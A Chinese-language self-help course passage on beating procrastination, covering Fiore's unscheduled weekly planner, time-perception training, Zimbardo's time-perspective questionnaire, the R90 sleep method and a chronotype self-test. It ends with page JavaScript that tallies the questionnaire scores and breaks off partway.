谈完了第一步,舍弃不重要的事。现在,你的矩阵中只剩下"重要且紧急"和"重要但不紧急"两种任务了。接下来要做的是减少紧急任务。 如何减少紧急任务?使用 SMART 原则拆分大任务为具体、可衡量、可操作、相关和时限的小任务,逐步完成每个小任务。 当你将这些小任务拆分并为每个任务设置提前的截止期限,并按进度逐一完成时,你将不再面对一堆火烧眉毛的紧急任务。甚至你还能够留出充足的时间来应对突发状况。这样做就是从规划和执行的源头上减少紧急任务。 例如,假设你面临一个重要且紧急的大任务,比如准备一个重要的报告。你可以将它分解为以下小任务:收集资料、整理数据、撰写大纲、编写内容、编辑校对等。然后,为每个小任务设定明确的截止期限,并按照计划逐一完成。 通过这种方式,你可以逐步完成每个小任务,减少了任务的紧急性。同时,你还能够更好地管理时间,避免最后一刻的焦虑和压力。此外,当你预留出适当的时间来处理突发情况时,你也能更好地应对紧急情况,而不会让它们占据你的全部注意力。 通过重塑你的艾森豪威尔矩阵,舍弃不重要的事项并减少紧急任务,你可以将工作任务和时间安排调整到更理想的状态。这样,你就能够更好地管理时间,专注于重要但不紧急的任务,提高工作效率,减少拖延症的发生。记住,时间管理是一个学习和实践的过程,坚持并逐渐改善自己的习惯,你将逐渐摆脱拖延症的困扰,实现更高效的生活和工作。 非计划日程 日程表难以执行 在谈到日程表时,我们通常会想到这样的安排:早上 6:30 起床,洗漱并做早饭,7:10 送孩子上学,8:30 到达公司开始一天的工作计划。我们常常希望将整天安排得满满当当,例如在午休或下班后安排健身活动,健身结束后继续工作;或者在下午 5:30 接孩子回家,6:00-6:30 做晚饭,6:30-7:00 和家人共进晚餐,7:00-8:00 做家务,8:00-9:00 看书,一直安排到睡前。 然而,这样安排日程表往往导致我们很快发现实施起来极为困难,因为只要一个任务未能按时完成,后续计划就会全面混乱。举个简单的例子,你原本计划在上午 9:00-10:00 写一份策划,但如果突然出现紧急会议,该怎么办呢?你也许希望晚上 6:30-7:00 是全家共进晚餐的时间,但你真的能控制家人的作息以便按照你的时间表进行吗? 很多人制定了日程表之后最终放弃了,原因就在于这些。他们常常经历以下心理过程:制定的日程表总是无法完成,渐渐地开始逃避和忽视;频繁遇到这种情况后,他们会因为无法执行而对自己感到失望,这种失望感很不愉快。于是,他们认为既然制定日程表无济于事,干脆不再做计划。 然而,如果没有计划,每天的生活又变得混乱无章,总有事情会被拖延。 在今天的课程中,我想告诉你,如果你有类似的经历,请不要责怪自己。这种“完美”的日程表本来就很难执行,而且你越想精确安排每一分钟,把日程安排得紧密严谨,结果反而适得其反。事实上,对于这样的日程表来说,能完成一半已经相当不容易了。 制定非计划日程表 既然我们发现传统的「计划」日程表并不如我们期望的那样有效,而不做计划又会导致生活无序混乱,那么我们应该如何应对呢?Neil Fiore 提出了「非计划日程表」的概念,这种方法可以很好地解决制定的日程表难以执行的问题。 Neil Fiore 发现许多客户因为无法按照自己制定的日程表行动,而被失望和沮丧的负面情绪困扰。在追踪和研究了难以完成日程的原因后,他提出了「非计划日程表」的概念,并且这一方法在解决拖延症问题上非常有效,帮助了数以千计的人。 那么,具体来说什么是「非计划日程表」呢?它是一种以周为单位的日程表,与传统的按天计划不同,它将时间安排视为一周的整体。这样做的好处是能够全面、有序地安排时间。「非计划日程表」的制定包括以下三个步骤: 第一步,首先确定本周必须完成的任务,并将它们填写到每个工作日的相应位置上,确保没有遗漏。例如,如果每周一上午 10:00 有例会,就在日程表上的周一上午位置写上 10:00 例会;如果周二下午有与客户谈项目的约定,周五晚上 7:00 有孩子家长会,就在周二下午和周五晚上的位置标记出来。 通过这样的安排,你可以清楚地知道本周已经确定被占用的时间,同时也让可支配的时间显现出来。 第二步,查看你的日程表,上面没有填写任务的时间段就是本周可以支配的时间。现在你的任务不是继续安排任务,而是利用这些可支配的时间来完成能够帮助你实现目标的事情。什么是能够帮助你实现目标的事情呢?还记得我们上节课学习的艾森豪威尔矩阵吗?就是那些「重要的事情」。 在完成这些「重要的事情」之后,你再回过头来,在日程表上相应的时间段标注下这些已经完成的任务。 可以看到,相比于传统的日程表,「非计划日程表」至少有两个不同之处: 首先,传统的日程表上填写的是你期望自己能够完成的理想目标,但未必可行。而「非计划日程表」则记录的是你确定必须完成的任务,这些任务必须得到执行。 其次,传统的日程表是先制定日程,然后再去执行任务,但结果却不确定。而「非计划日程表」在确定了必须完成的任务后,你需要先进行实际行动,然后再填写在日程表上。换句话说,这是一张逐渐被填满的表,只有你确实完成了的任务才会被记录上去。 最后,填写完「非计划日程表」之后,你还可以用它来进行回顾和评估。因为这张表上记录的都是你已经完成的任务,你可以更清楚地了解自己的时间安排是如何的,你在娱乐和学习之间的平衡如何,工作和生活的安排是否真正达到了平衡。通过回顾和评估,你还可以找到优化日程安排的方法。这张「非计划日程表」成为了你行动的见证,也是你不断进步的参照。 下面是我的非日程表,仅供参考。 运用非计划日程表 在实际运用「非计划日程表」时,有三个关键要点需要注意: 首先,你需要将接下来一周必须完成的任务全部列出,确保没有任何遗漏。 要注意的是,这里列出的不是像传统日程表那样包括所有你想做的事情,而是确定已经占用你时间的事项。例如,周一上午 10:00-11:30 是部门例会。如果你对某个事件发生的具体时间不太确定,但确定会执行,那就估算一下所需时间,并将其标记在预计执行该任务的日期上,例如预计周日花一小时购买下周需要的食材。 请记住,不仅要标记工作和学习相关的事项,还要标记已经安排好的休闲活动时间,以及必须占用的购物、烹饪和睡眠时间等。只有这样,你的日程表中留出的可支配时间才会更加客观准确。 其次,你需要优先利用这些可支配时间来完成能够帮助你实现目标的任务。每完成一项任务,就在日程表上标记下所用时间。 我给你一个小建议,你可以将时间划分为不同的小块,并用不同颜色的笔涂色。例如,用一个小时的时间就涂掉一个方格,用半个小时的时间就涂掉半个方格。这种记录方式有两个非常重要的作用: 首先,通过不同颜色的色块,你可以感知自己的进步并获得成就感。当你看到一条条的日程被不同颜色填满时,就像我们在深度工作模式中提到的链条法,能够有效激励和督促你的行动; 其次,这种方法还能提升你对时间的知觉,即对时间的判断力。具体的方法我将保留一点悬念,在明天的课程中会为你详细讲解。 最后,根据填写完整的「非计划日程表」,回顾自己的时间安排,看看是否存在问题,是否可以进行优化。 请注意,不要只是简单列出任务就结束,一定要思考如何改进。如果每天花太多时间追剧,可以适当减少;如果你没有足够的娱乐时间,可以减轻一些负担。这才是「非计划日程表」的高效和人性化之处。 「非计划日程表」的优点在于它不仅帮助你规划时间,还能逐步填满并适应你的实际情况。 建立时间观 时间错觉 为什么我们对时间的流逝会产生错觉? 前面介绍了如何制定一个「非计划日程表」,你可能会发现在实际执行的过程中,你对时间的判断很不准确。 例如,你是否发现你的空闲时间没有你想象中那么多或者那么少?当你填写预计占用时间段时,你是否发现与最后实际所需时间存在较大差距?比如预计需要 1 小时完成的方案,结果花了 3 个小时;预计下楼购买食物需要半小时,结果在路上来回加上逛菜市场花了一个半小时。甚至当你看到"非计划日程表"上的可支配时间时,你可能会感到迷茫,不知道如何安排好它们,以及如何用它们来规划你的工作和生活。 这些问题都源于你对时间的感知能力不足。许多人学习了各种时间管理方法后仍然无效,这是因为他们没有解决这个根本问题。也许你从未想过,一个人对时间的感知能力也需要进行训练。今天,我将具体讲解这个问题。 时间感知能力包括短期时间感知和长期时间感知两个方面。 短期时间感知是指我们能否准确地感知时间的流逝,能否相对准确地预估完成某项任务所需的时间。 例如前面提到的,写一份策划到底需要 1 小时还是 3 小时,下楼购买食物正常的时间是半小时还是一个半小时。准确预估时间的前提是首先能够相对准确地感知时间的流逝。 许多拖延的人都有过类似的经历。当看电视剧时,感觉花费的时间并不多,但一集、两集...转眼间就过去了两三个小时;周末起床后想看一下推特,刷两分钟抖音,结果不经意间就耽误到午饭时间了。 许多人对时间没有概念,容易拖延,就是因为无法准确、客观地感知时间的流逝。他们心理上对时间的感受与我们通常用来计时的钟表时间不一致,而且相差很大。 为什么会出现这种不一致呢?这是因为人对时间的感知本身就是主观的,喜欢的事情时间过得快,而不喜欢的工作时间过得慢。我们可以把这种主观对时间的感受称为「主观时间」。那么客观时间是什么呢?一小时等于六十分钟,一分钟等于六十秒,滴答一声就是一秒,这就是客观时间,也是我们日常使用的"钟表时间"。 当我们判断时间时,我们的心理自然启动的不是「客观时间」,而是围绕一项任务进行的时间判断。例如,你潜意识里想的不是「二十三分钟后,我要去机场」,而是「把房间整理好后,我要去机场」;不是「晚饭后我要看三十三分钟书」,而是「晚饭后我要看一会儿书」。这些围绕一项任务完成所需时间的判断非常主观,因此我们心理上的"主观时间"和客观的"钟表时间"之间存在差异。 如果一个人很幸运,他心理上的「主观时间」和客观的「钟表时间」能够完美契合,那么他的时间观念一定很强;但如果一个人心理上的「主观时间」和「客观时间」相差很大,而且不愿意面对这两者之间的差异,就容易在这两者之间挣扎,陷入拖延的状态。 训练时间观 每日回顾 第一个方法是精确记录时间并进行每日回顾。 在上一节课中,我已经提到过这个方法,现在我将更详细地解释。你可以继续使用上节课提到的「非计划日程表」,以"事件-花费时间"的形式详细记录你完成每个任务所用的时间。记住,记录时一定要精确到分钟。例如,如果你下午花了三个小时写一份策划,你不能简单写下" 3 小时",而是要具体标注"15:00 开始写,18:13 完成,共花费 193 分钟"。这样精确记录时间的好处是可以锻炼你对时间的感知能力,让你更准确地预估时间。 Alexander Alexandrovich 就曾使用这种训练方法。他的时间判断准确度非常高,即使不看表也能精确说出每个任务所花费的时间,准确到分钟。他形容这就像身体内部装了一个计时器一样。他说,记录时间这个习惯要坚持下去。如果只记录某一天的时间日志是没有用的,应该记录一周、一个月、甚至更长的时间。 如果你希望培养良好的时间感,更好地安排和利用时间,我鼓励你尝试坚持记录时间。刚开始时可能觉得麻烦,但请坚持下去,相信你会获得回报。 设定时间限制 第二个方法是有意识地给自己设定任务时间限制。 你对时间的感知力不足的一个重要原因是在做大部分任务时很少给自己设定时间限制。举个简单的例子,当你要整理房间时,通常只会开始收拾,没有明确的结束时间,不知道具体花费了多长时间。这种习惯导致你倾向于拖延,可以一直慢慢地进行。 从现在开始,你可以尝试改变方式。比如今天要整理房间,那就好,你认为两个小时足够完成,于是打开手机闹钟,把它当作一个游戏中的限时任务。设定一个两小时的闹钟,然后开始收拾。 也许闹钟还没响就完成了收拾,那就检查一下花了多少时间;也许闹钟响了还没收拾完,那就再给自己比如三十分钟,再设定一个闹钟,继续进行,直到真正完成为止。通过多次尝试,你会逐渐了解自己需要多长时间来整理房间。对于其他任务也是同样的道理,多给自己一些有趣的限时任务,你将更好地掌握各种任务所需的时间。 建立时间感知力 在时间管理的最后一部分,我们将探讨如何建立良好的时间观,培养长期的时间感知能力。Philip George Zimbardo提出了关于时间观的理论,他发现每个人对过去、现在和未来有不同的时间导向,这些时间导向会明显影响我们对待生活、工作以及行为的方式。 他将时间观分为六个维度,分别是过去消极时间观、过去积极时间观、当下宿命主义时间观、当下享乐主义时间观、未来时间观和超未来时间观。这些维度代表了我们对过去、现在和未来的态度,从消极到积极,共有六种组合。 例如,在过去这个时间段,过去消极时间观让我们更关注不好的经历,引发负面情绪;而过去积极时间观则让我们专注于美好回忆,产生积极的影响。类似地,在当下这个时间段,当下宿命主义时间观使我们觉得无法改变任何事情,感到绝望;相反,当下享乐主义时间观则让我们更愿意享受当前时刻。同时,我们还有未来时间观和超未来时间观,它们影响着我们对未来的准备和对生活的态度。 根据 Philip Zimbardo 的研究,每个人的时间观都是由这六种维度混合而成的。它们就像是六个住在我们头脑里的小人,当我们做决策时,我们会倾听其中哪个小人的声音更多。 对于拖延的人来说,过去消极时间观和当下宿命主义时间观可能会产生较大影响,让他们沉溺于过去和当前的消极和焦虑情绪。而对于有规划、积极且不容易拖延的人来说,过去积极时间观、当下享乐主义时间观和未来时间观可能会更具影响力。这意味着他们更容易回想起过去的成就,相信在当前任务中会有愉快的体验,并做好未来任务的准备。 如何建立时间观 首先,我们需要处理过去的情绪和回忆,重点强化积极的记忆。每天在睡前记录一段让自己感到开心或感动的经历或故事,并每周回顾一次。通过这种方式,我们能够加强大脑中对积极过去的时间观。 其次,对于当前的时间观,我们可以运用之前提到的方法,如游戏化和专注力提升。在工作中寻找乐趣,实时关注自身的成长,并学会将注意力集中在当下,排除干扰因素。 另外,针对未来的时间观,我们需要让自己看清未来的样貌。可以运用艾森豪威尔矩阵对时间进行规划,将重要但不紧急的事项纳入计划中。多思考如何更快地实现这些目标,从而强化对未来的时间观。 最后,需要注意的是,尽管积极过去时间观、当下享乐主义时间观和未来时间观对于克服拖延症和实现目标更为有益,但其他三种时间观也有其价值。例如,消极过去时间观有助于我们记住错误并吸取教训,当下宿命主义时间观可以让我们更坦然地面对失败,超未来时间观能在一定程度上缓解压力。因此,我们的目标是在这六种时间观中找到平衡点和重心,以实现高效而又不机械化的生活。 下面是 Philip Zimbardo 六个维度的时间观测试题目,尝试完成以下测试,然后根据结果调整自己的时间观。 Philip Zimbardo 时间知觉测试 填写说明:请认真阅读每道题目,按照描达与自己的符合程度打分。(1=极不符合,2=不符合,3=一般,4=符合,5=极为符合) 序号 问题 分数 1 我认为和朋友一起参加聚会是生活中很重要的乐趣 2 熟悉的童年景象、声音和气味经常会勾起我很多美好的回忆 3 命运决定了我人生中大部分的事情 4 我经常会想,在那段人生中我应该这样做而不应该那样做 5 我的决定很大程度上取决于我周围的人和事 6 我认为我们的每天都应该在早晨就提前做好计划 7 回想过去能让我感到快乐 8 我做事比较冲动 9 如果事情不能按时完成,我也不会焦虑 10 当我想做成某一件事情时,我会设定目标,仔细考虑各种能达成目标的方法 11 总的来讲,我的美好的回忆比不好的回忆要多很多 12 当我聆听喜欢的音乐时,我常常会忘记时间的流逝 13 赶明天的任务和做其他必要的工作比今天晚上的娱乐活动更重要 14 既然要发生的事情总会发生,那么我做什么并不重要 15 我喜欢听那些关于“过去的美好时代”的故事 16 那些过去的痛苦经历总是在我的脑海里重复出现 17 我尽可能充实地度过我的每一天 18 迟到让我觉得很难过 19 理想状态下,我会把每一天都当作生命中的最后一天来度过 20 那些美好时光的快乐记忆总是经常出现在我的脑海里 21 我总是准时兑现我对朋友或者上级的承诺 22 我过去遭受过侮辱和拒绝 23 我经常在冲动之下做决定 24 我总是活在当下,而不是尝试去规划每天 25 过去有太多不愉快的回忆,我情愿不去回想 26 在我的生活中寻找刺激很重要 27 我曾经在生活中犯下了令我后悔的错误 28 我觉得享受自己正在做的事比把事情按时完成更重要 29 我常常怀念我的童年 30 在做决定之前,我都会衡量成本和收益 31 冒险让我的生活不那么无趣 32 享受生活的旅程比专注于达成人生目标更重要 33 事情很少会按我预想的那样发展 34 我很难忘记儿时不愉快的记忆 35 如果我总是想着目标、结果和产出,就会让过程变得非常无趣,无法专注地做事 36 当我在享受当下的时候,我也会不自觉地把现在和过去类似的经历做比较 37 你很难真的为未来做规划,因为事情的变化真的太快了 38 我人生的旅途是被我不能改变和影响的力量所控制的 39 为明天而忧虑一点儿用也没有,因为没有什么事是你可以左右的 40 我总是持续稳定地推进我的工作,最后按时完成任务 41 我总是会在家人讨论从前时发呆走神 42 为了让生活更刺激,我会选择去冒险 43 我会把要做的事情列出来 44 我经常都会听从内心去做决定,而不是听从我的理智 45 当我知道自己有事情要做的时候,我可以抵挡诱惑 46 我发现自己常常会被兴奋冲昏了头脑 47 现在的生活太复杂了,我更想过从前的简单生活 48 我更喜欢交随性的朋友而不是有板有眼的朋友 49 我喜欢定期重复的家庭传统或者仪式 50 我有时候会回想起以的发生过的不好的事情 51 如果困难的、无聊的工作可以让我领先别人一步,我也会去做 52 把赚来的钱在今天花掉比存起来更好 53 很多时候运气比努力更重要 54 我有时候会想起那些生活里错失的美好事物 55 我喜欢亲密关系,并充满激情 56 我总有时间把落下的工作进度补回来 总分 分数 过去消极时间观 当前享乐主义时间观 未来时间观 过去积极时间观 当下宿命主义时间观 下面是 Philip Zimbardo 给出的理想时间观的分数,在表格中已绿色呈现。 由于超未来时间观的内容和本文关系不大,所以在这里就不作介绍了。 R90 睡眠法 如何通过正确的睡眠和休息来高效恢复精力,找到适合自己的工作节奏。你或许会质疑,睡觉和休息还需要学习吗?我先和你分享一个小故事。 睡眠对拖延的影响 一开始我并没有察觉到小明有拖延症的迹象,因为他总是立即开始工作,只要领导下达任务。小明是一名设计师,电脑上的绘图软件几乎一直都在运行。然而,我渐渐发现他的工作效率似乎有些问题。虽然他似乎很早就开始工作了,但经常几个小时过去了,却没有什么进展,屏幕上还是一成不变的画面。 我询问他发生了什么,他回答说:“不行,我完全没有状态。昨晚加班到半夜,但没有什么效果。我想今天早点起床工作,但醒来后还是感觉很累,无法开始工作。”通过进一步的询问,我才得知小明已经持续疲劳作战了相当长的时间。起初,他因为领导交给的任务非常繁重,只能熬夜完成。熬夜后,小明充满进取心,想着后面的任务也不能拖延,于是依赖咖啡和能量饮料在第二天振作精神工作。然而,这些提神饮料导致他晚上难以入睡,第二天早上精神不佳,于是又继续依赖咖啡......陷入了恶性循环。 小明也曾尝试在周末好好休息,调整状态。于是他整天都在睡觉,但奇怪的是周一到来时,他的状态变得更糟了。久而久之,小明的拖延已经不再是主观意愿的问题,他真的很想尽快开始工作,但身体不听使唤,他感觉大脑都无法运转了。 小明遇到的问题是典型的睡眠和休息不足导致精力不足,进而导致拖延。我相信你也曾有过这样的经历,就是明明很想做某事,但身体却无法行动起来。对于那些承受工作压力的人来说,这种情况可能尤为常见。不要责怪自己缺乏毅力,因为实际上,"过度疲劳"在导致拖延的原因中排名非常高。就像我们认识到注意力资源有限一样,我们的体力和精力也是有限的。当你感到极度疲倦时,强迫自己完成各种工作任务自然变得格外困难。 然而,另一方面,你肯定也会注意到一群人,他们在与小明面临相同或更大工作强度的情况下,似乎每天都拥有无穷无尽的精力,他们不仅工作效率高,而且完成的质量也非常出色。他们通常是那些懂得如何睡眠和休息的人,他们的精力恢复比其他人更快,因此拥有更多的能量去处理事务。 要学会高效地睡眠和休息,你首先需要了解睡眠和休息的秘诀。 高效睡眠 在高效睡眠和休息方面,有两个关键要素:昼夜节律和睡眠类型。 昼夜节律 昼夜节律指的是人体内一种调节机制,使得我们的睡眠、激素分泌、体温、敏感度和情绪等都呈现周期性的变化,以适应外部环境的变化。可以将其简单理解为生物钟,它是人类进化过程中受白天和黑夜交替变化的影响所产生的生理节律,每个周期约为 24 小时,即一昼夜。 古人所说的"日出而作,日落而息"就体现了昼夜节律。其背后的含义是,我们在一天的不同时间段,对睡眠的需求和效果不同。例如,助于人体入睡的褪黑素大约在晚上九点左右开始分泌,在早上七点半左右停止;体温下降有助于进入深度睡眠,我们在凌晨两点左右睡眠最深,凌晨四点左右体温降至最低。一般来说,晚上 11 点到早上 7 点是最适合睡眠的时间段,睡眠需求最大,效果最好。 然而,白天受多种因素的影响,如体温升高和褪黑素不分泌,如果在白天长时间睡眠,效果并不理想。 (图片来自《睡眠革命》) 现在让我们再来看小明的例子,你应该已经明白,小明长期处于疲劳状态是因为他违反了自己的睡眠需求和昼夜节律。他经常熬夜,而晚上本应该休息的时间,白天又依靠咖啡和红牛提神,没有合理地调节休息。结果是白天效率低下,晚上又需要继续熬夜,形成了恶性循环。甚至由于白天过度摄入咖啡和红牛等提神饮料,导致晚上失眠,无法入睡。 那么像小明这样的情况,应该如何调节呢?我将在本节课的最后详细讲解,现在先看看与睡眠相关的第二个要素:睡眠类型。 睡眠类型 前面我们提到的昼夜节律,体现了人类一般的生理规律。然而,每个人在睡眠类型上还存在一些个体差异,这些差异是由基因决定的。 简单来说,睡眠类型可以分为"早起鸟"和"夜猫子"。早起鸟在白天工作时精力充沛,但晚上容易感到疲倦,往往早早上床休息。夜猫子则早上难以起床,白天感到疲惫,晚上的工作效率更高。 这是因为在古代恶劣的自然环境中,需要有人时刻保持清醒,以确保群体的安全。因此,一些人在夜晚负责守卫,白天休息;而另一些人则在白天负责守卫,夜晚休息。由此,人类在进化过程中,睡眠时间产生了分化。那些在白天负责守卫的人逐渐演变成了早起鸟,而在夜晚值夜班的人则变成了夜猫子。 那么,如何判断自己是"早起鸟"还是"夜猫子"呢?目前最常用的方法是进行睡眠类型调查问卷。我在课程文稿的末尾附上了这份问卷,在听完课后你可以填写并进行测试。 综合考虑一般的昼夜节律和个体差异的睡眠类型,这两者的叠加效果接近于个人的节律。具体来说,个人的睡眠节律会在昼夜节律的基础上,根据睡眠类型发生不同的偏移。每个人的睡眠类型不同,偏移的程度也不同。 例如,如果基础的昼夜节律认为晚上 11 点到早上 7 点是最适合入睡的时间,那么对于一个早起鸟来说,睡眠需求最大、效率最高的时间可能是晚上 9 点到早上 6 点;而对于一个夜猫子来说,可能是凌晨 1 点到早上 9 点。 正如前面所提到的,睡眠类型在很大程度上是由基因决定的,不太容易受外界因素影响而改变。因此,你需要学会调整外部因素,尽量适应自己的节奏,将最重要的工作安排在状态最佳的时间段,以最大化效率。同时,让自己在睡眠需求最大、睡眠效果最好的时段入睡,以达到精力恢复的最佳效果。 回到小明的例子,他晚上经常加班到半夜,却无法高效工作。这时他需要反思自己是否属于早起鸟类型,更需要在晚上得到良好的休息,然后在早晨早早开始工作。如果他是夜猫子,也许应该给自己在白天安排一些小憩的时间,以调整工作节奏。 你可能会问,在现实生活中,工作时间往往是固定的,如何在这样的时间框架内让工作节奏适应自己的睡眠和休息节律呢? 我为你准备了两种有效的方法。首先是关于如何获得更好睡眠的 R90 睡眠法,适用于整夜睡眠的人。其次是关于如果晚上睡眠不足,如何在白天进行可控的修复期来调整休息状态。 R90 睡眠法建议你优化睡眠环境,确保安静、舒适、黑暗,并遵循一定的睡前准备和放松技巧。此外,规律的作息时间和避免刺激性物质的摄入也对睡眠质量有积极影响。 如果晚上没有获得充足的睡眠,可控修复期可以帮助你在白天进行短暂的休息来恢复精力。这可以是一个短暂的午休时间,或者安排一些放松活动和休息片刻来恢复体力和注意力。 通过合理调整睡眠和休息节律,你可以更好地适应自己的生物钟和睡眠类型。这样,你就能在工作中达到最佳状态,提高工作效率。记住,合理的休息和良好的睡眠是拖延症的解决之道,为你的身心健康和工作表现提供支持。 调整休息节奏 R90 睡眠法 R90 睡眠法是一种高效的睡眠方式,通过保持完整的睡眠周期来提升睡眠质量和工作效率。每个人的睡眠需求和入睡时间可能不同,但高质量的睡眠需要以 90 分钟为一个周期。成年人通常需要每天睡 4-5 个周期,即 6-7.5 小时。睡眠周期包括入睡期、浅睡期、熟睡期、深睡期和快速眼动期,完成这 5 个阶段共需 90 分钟。关键在于保证这 5 个睡眠阶段不被打断,而不是睡眠时间的长短。如果睡眠周期完整,偶尔的失眠也无需焦虑。根据固定的起床时间,逆推入睡时间,建立规律的睡眠节奏。 善用「可控修复期」 白天的「可控修复期」是为了补充能量和调整精力的时段。除了晚上的睡眠需求外,白天还有两个时间段最适合进行修复。一个是午后 1 点到 3 点,另一个是傍晚 5 点到 7 点。根据个人情况,可以小睡 30 分钟或完整睡眠一个周期(90 分钟)。即使无法入睡,闭上眼睛放松也会有调节效果。避免长期依赖咖啡或能量饮料提神,而是利用规律的自然修复来恢复精力,保持良好的昼夜节律。 尝试完成下面的睡眠类型测试题,看看你属于哪种睡眠类型。在评估过程中,应该依据非工作日的自然醒来判断睡眠时间,而非根据工作日的闹钟设定。这样可以更准确地估计你所需要的睡眠时长。 时间型自测量表 请在每道题目中选择与自己情况最相符的一个选项 序号 题目 得分 1 如果你能够完全自由地计划白天的时间,你希望大约在什么时间起床? 早上 5 点至 6 点半(05:00-06:30h) 早上 6 点半至 7 点 45 分(06:30-07:45h) 早上 7 点 45 分 9 点 45 分(07:45-09:45h) 早上 9 点 45 分至 11 点(09:45-11:00h) 早上 11 点至正年 12 点(11:00-12:00h) 2 如果你能够完全自由地计划夜晚的时间,你希望大约在什么时间去睡觉? 晚上 8 点至 9 点(20:00-21:00h) 晚上 9 点至 10 点 15 分 (21:00-22:15h) 晚上 10 点 15 分至 12 点半(22:15-00:30h) 凌展 12 点半至 1 点 45 分(00:30-01:45h) 凌晨 1 点 45 分至 3 点(01:45-03:00h) 3 如果你要在早上的某个时刻起床,你会有多么依赖闹钟来唤醒你? 完全不依赖 略为依赖 比较依赖 非常依赖 4 在早上时,你有多容易起床?(当你没有被突如其来的事唤醒) 非常困难 比较困难 一般容易 非常容易 5 早上起床后的半小时内,你有多精神? 完全不精神 一点精神 一般精神 非常精神 6 在起床后的半小时内,你感到有多饿? 完全不饿 有一点饿 一般饿 非常饿 7 清晨起床后的半小时内,你的感觉如何? 非常疲倦 稍为疲倦 一般清醒 非常清醒 8 如果在第二天你没有任何约会,相比你平时习惯的时间,你会选择什么时间去睡觉? 较平常推迟很少或从不推迟 较平常推迟不到一小时 较平常推迟 1-2 小时 较平常推迟两小时以上 9 假设你决定要开始做运动,你的朋友建议你应一周进行两次一小时的运动,而且在早上 7-8 点(07-08h)为最佳时间。请谨记你只需考虑自己的生理时钟,你认为你会表现得怎么样? 很好的表现 一般好地表现 难以执行 非常难执行 10 在夜晚你大约到什么时候你会感到疲倦,而且需要睡觉? 晚上 8 点至 9 点(20:00-21:00h) 晚上 9 点至 10 点 15 分(21:00-22:15h) 晚上 10 点 15 分至 12 点 45 分(22:15-00:45h) 凌晨 12 点 45 分至 2 点(00:45-02:00h) 凌晨 2 点至 3 点(02:00-03:00h) 11 假设你希望在一项会令你精神疲累而且持续续两个小时的测试中取得最佳表现时,如果你能完全自由地计划你的时间,仅需考虑你自己的生理时钟,你会选择以下哪段考试时间? 早上 8 点至 10 点(08:00-10:00h) 早上 11 点至下午 1 点(11:00-13:00h) 下午 3 点至下午 5 点(15:00-17:00h) 晚上 7 点至 9 点(19:00-21:00h) 12 如果你要在晚上 11 点(23:00h)去睡觉,你会有多疲倦? 完全不疲倦 小小疲倦 一般疲倦 非常疲倦 13 假设因为某些原因,你比平时迟几个小时去睡觉,但又不需在第二天早上的特定时间起床,你最可能出现以下哪种情況? 按平常的时间起床,而且不会再睡 按平常的时间起床,但感到昏昏欲睡 按平常的时间起床,然后再睡 无法按平常的时间起床 14 假设因为你要值夜班,而你要在清晨 4-6 点(04:00-06:00h)时候需要保特清醒,而第二天你设有任何约会。以下哪种情况最适合你? 夜班结束后才去睡觉 值夜班前片刻小睡,面结束后再睡觉 夜班前睡一觉,结束后再打个盹儿 只在值夜班前睡一觉 15 假设你需要进行一项两小时的艰巨体力工作,你可以完全自由地计划时间,仅需考虑你自己的生理时钟,你会选择以下哪个时段? 上午 8 点 - 10 点(08:00-10:00h) 上年 11 点 - 下午 1 点(11:00-13:00h) 下午 3 点 - 5 点(15:00-17:00h) 夜晚 7 点 - 9 点(19:00-21:00h) 16 假设你决定要开始做运动,你的朋友建议你应一周进行两次一小时的运动,面且在晚上 10-11 点(22:00-23:00h)为最佳时间。请紧记你只需考虑自己的生理时钟,你认为你会有怎么样的表现? 很好的表现 一般的表现 难以执行 非常难以执行 17 假设你可以选择自己的工作时间,你每天只常工作 5 个小时(包括休息时间),而这项工作是很有趣的,酬金会依据你的工作表现,你会选择以下哪个时段呢? 五个小时,由早上 4 点至 8 点期间开始 五个小时,由早上 8 点至 9 点期间开始 五个小时,由早上 9 点至下午 2 点期间开始 五个小时,由下午 2 点至 5 点期间开始 五个小时,由下午 5 点至凌晨 4 点期间开始 18 一天之中以下哪个时段你的状态最好? 早上 5 点至 8 点 (05:00-08:00h) 早上 8 点至 10 点(08:00-10:00h) 早上 10 点至下午 5 点(10:00-17:00h) 下午 5 点至 10 点(17:00-22:00h) 晚上 10 点至凌晨 5 点(22:00-05:00h) 19 人可分为“清晨”型和“夜晚”型,你认为你自己属于哪一种类型? 绝对“清晨”型 “清晨”型多过“夜晚”型 “夜晚”型多过“清晨”型 绝对“夜晚”型 类型 分数 const procrasTest = document.getElementsByClassName('procrasTest') const procrasResult = document.getElementsByClassName('procrasResult') document.getElementById('procrasTest').addEventListener('click', () => { const x = [...procrasTest].map(i => i.value) procrasResult[0].innerText = ~~x[0] + ~~x[3] + ~~x[6] + ~~x[9] + ~~x[12] + ~~x[15] + ~~x[18] + ~~x[21] procrasResult[1].innerText = ~~x[1] + ~~x[4] + ~~x[7] + ~~x[10] + ~~x[13] + ~~x[16] + ~~x[19] + ~~x[22] procrasResult[2].innerText = ~~x[2] + ~~x[5] + ~~x[8] + ~~x[11] + ~~x[14] + ~~x[17] + ~~x[20] + ~~x[23] }) const ZTPITest = document.getElementsByClassName('ZTPITest') const ZTPIResult = document.getElementsByClassName('ZTPIResult') document.getElementById('ZTPITest').addEventListener('click', () => { const x = [...ZTPITest].map(i => i.value) // 过去消极时间观 ZTPIResult[0].innerText = ((~~x[3] + ~~x[4] + ~~x[15] + ~~x[21] + ~~x[26] + ~~x[32] + ~~x[33] + ~~x[35] + ~~x[49] + ~~x[53]) / 10).toFixed(2) // 当下享乐主义时间观 ZTPIResult[1].innerText = ((~~x[0] + ~~x[7] + ~~x[11] + ~~x[16] + ~~x[18] + ~~x[22] + ~~x[25] + ~~x[27] + ~~x[30] + ~~x[31] + ~~x[41] + ~~x[43] + ~~x[45] + ~~x[47] + ~~x[54]) / 15).toFixed(2) // 未来时间观 ZTPIResult[2].innerText = ((~~x[5] + (6 - x[8]) + ~~x[9] + ~~x[12] + ~~x[17] + ~~x[20] + (6 - x[23]) + ~~x[29] + ~~x[39] + ~~x[42] + ~~x[44] + ~~x[50] + (6 - x[55])) / 13).toFixed(2) // 过去积极时间观 ZTPIResult[3].innerText = ((~~x[1] + ~~x[6] + ~~x[10] + ~~x[14] + ~~x[19] + (6 - x[24]) + ~~x[28] + (6 - x[40]) + ~~x[48]) / 9).toFixed(2) // 当下宿命主义时间观 ZTPIResult[4].innerText = (~~x[2] + ~~x[13] + ~~x[34] + ~~x[36] + ~~x[37] + ~~x[38] + ~~x[46] + ~~x[51] + ~~x[52]).toFixed(2) }) const MEQScore = document.getElementsByClassName('MEQScore') const MEQCategory = document.getElementById('MEQCategory') const MEQResult = document.getElementById('MEQResult') 